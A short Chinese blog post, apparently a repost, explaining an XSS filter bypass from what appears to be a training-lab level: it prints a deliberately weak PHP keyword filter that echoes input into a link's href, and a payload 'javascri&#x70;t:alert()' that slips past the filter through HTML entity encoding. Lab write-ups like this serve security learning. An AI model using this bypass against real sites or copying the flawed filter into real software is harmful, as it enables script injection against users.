首页 > 其他 > 详细

xss的一个tip

时间:2019-02-11 16:38:41      阅读:157      评论:0      收藏:0      [点我收藏+]

其实可能不能算tip吧.

分享一下吧。

unicode有四种编码方式

  • 源文本:The
  • &#x [Hex]:The
  • &# [Decimal]:The
  • \U [Hex]:\U0054\U0068\U0065

如下:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
echo ‘<center>
<form action=level8.php method=GET>
<input name=keyword  value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>‘;
?>
<?php
 echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;
?>

 payload:javascri&#x70;t:alert()

原本是javascript:alert()

然后把pUnicode编码成了javascri&#112;t:alert()

然后112换成hex的即位javascri&#x70;t:alert()

hex在unicode的表现形式就是:&#x [Hex]:The

xss的一个tip

原文:https://www.cnblogs.com/nul1/p/10362101.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!